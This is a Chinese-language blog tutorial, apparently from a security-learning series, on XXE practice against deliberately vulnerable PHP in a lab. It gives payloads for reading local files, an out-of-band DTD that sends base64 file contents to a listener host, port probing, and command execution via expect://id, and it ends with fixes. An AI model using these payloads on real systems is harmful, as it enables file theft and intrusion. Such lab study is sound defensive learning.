XXE学习(三)——XXE练习

 

  寻找环境练***E~~

一、有回显读取本地敏感文件

  • 示例代码:

    xml.php

    <?php
    ​
        libxml_disable_entity_loader (false);
        $xmlfile = file_get_contents('php://input');
        $dom = new DOMDocument();
        $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
        $creds = simplexml_import_dom($dom);
        echo $creds;
    ?>

    使用bp抓包repeater模块

    修改GET方法为POST,并在正文部分填入xml。

    文件无特殊字符

     

     

     

    可以看到文件内容被成功读取到

    这里的xml的意思是,定义一个普通实体xxe,它的内容是h盘下的test目录中的nomal.txt

    xml中引用后,因为示例代码中会打印出来,所以成功读取了该文件。

    文件有特殊字符

    • 第一种方式

      报错,无法读取

      更换另一种方法

      所有 XML 文档中的文本均会被解析器解析。

      只有 CDATA 区段(CDATA section)中的文本会被解析器忽略。

      CDATA 部分由

      "<![CDATA["

      开始

      "]]>"

      结束:

      evil.dtd:

      <?xml version="1.0" encoding="UTF-8"?> 
      <!ENTITY all "%start;%xxe;%end;">

      这里在DTD中定义了四个参数实体

      start xxe end dtd

      前三个拼接之后

      <![CDATA[""]]>

      其中的内容就是special文件,里面的内容不会被解析

      有&all;在xml中引用,就可以成功返回有特殊字符的文件。

      当时我想,为什么要多此一举,为什么当场在DTD中拼接呢。

      直接在本DTD中拼接报错了

      后来查找资料应该是因为:

      参数实体引用不能出现在内部DTD的标记声明内部,可以在标记声明允许出现的地方出现。对于外部DTD则没有这个限制。

    • 第二种方式(限定php)

      利用php://filter

      php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

      ——php.net

      这样,特殊字符就被换成base64的方式输出,不存在问题

二、无回显读取本地敏感文件

  • 示例代码

    <?php
    ​
    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    ?>

    这里是没有直接回显的。

    首先我们要在目标之外,目标能访问到的地方构造一个dtd文件,然后再向目标发送构造好的xml,让目标去访问这个指定的dtd,由dtd中的设置,再让目标带着参数去访问我们用来读取信息的地址。

    这里为了方便,我就在目标网站的目录里直接放一个构造好dtd,

    192.168.0.121/b.dtd(放在其他能访问的位置也可以)

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///h:/test/special.txt"><!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.0.121:83/?p=%file;'>">

    参数实体file是要读取的文件。

    参数实体int中又定义了一个参数实体send。

    (&#37:实体编码,相当于%)

    这个参数实体send,就是我们指定目标网站去访问的地址,也就是我们本地监听的地址

    本地开始监听192.168.0.121:83,之后我们可以通过这里读取到文件。

    向目标网站发送xml。

    • 服务器有报错

      报错信息中可以直接看到p=....一串base64编码,解码后就是所要读取的数据

    • 无报错

      还是可以在本地监听的端口中查看到所需要的信息。

      base64解码后即可还原。

三、利用XXE进行端口探测:

实际利用:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE user SYSTEM "http://192.168.1.223:999">
<user><username>&all;</username><password>132123</password></user>

根据响应时间来判断是否开放端口

 

四、利用php的扩展执行系统命令

当目标机器安装并加载了PHP的expect扩展,可以执行系统命令.(由于这个扩展不是默认安装的)

<?xml version="1.0"?>
<!DOCTYPE root [ <!ELEMENT  ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>&xxe;</root>

 

五、漏洞修复

方案一:

过滤用户输入的xml数据,比如尖括号,一些关键字:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC等

方案二:

禁用外部实体(分别在对应语言中添加以下代码):

PHP:
libxml_disable_entity_loader(true);
​
JAVA:
DocumentBuilderFactorydbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
​
Python:
from lxml import etree
xmlData= etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

 

 

 

 

 

 

参考链接:

https://mature-sec.com/post/xxe%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

https://xz.aliyun.com/t/3357

 

posted @ 2020-03-10 18:24  d3solate  阅读(515)  评论(0)    收藏  举报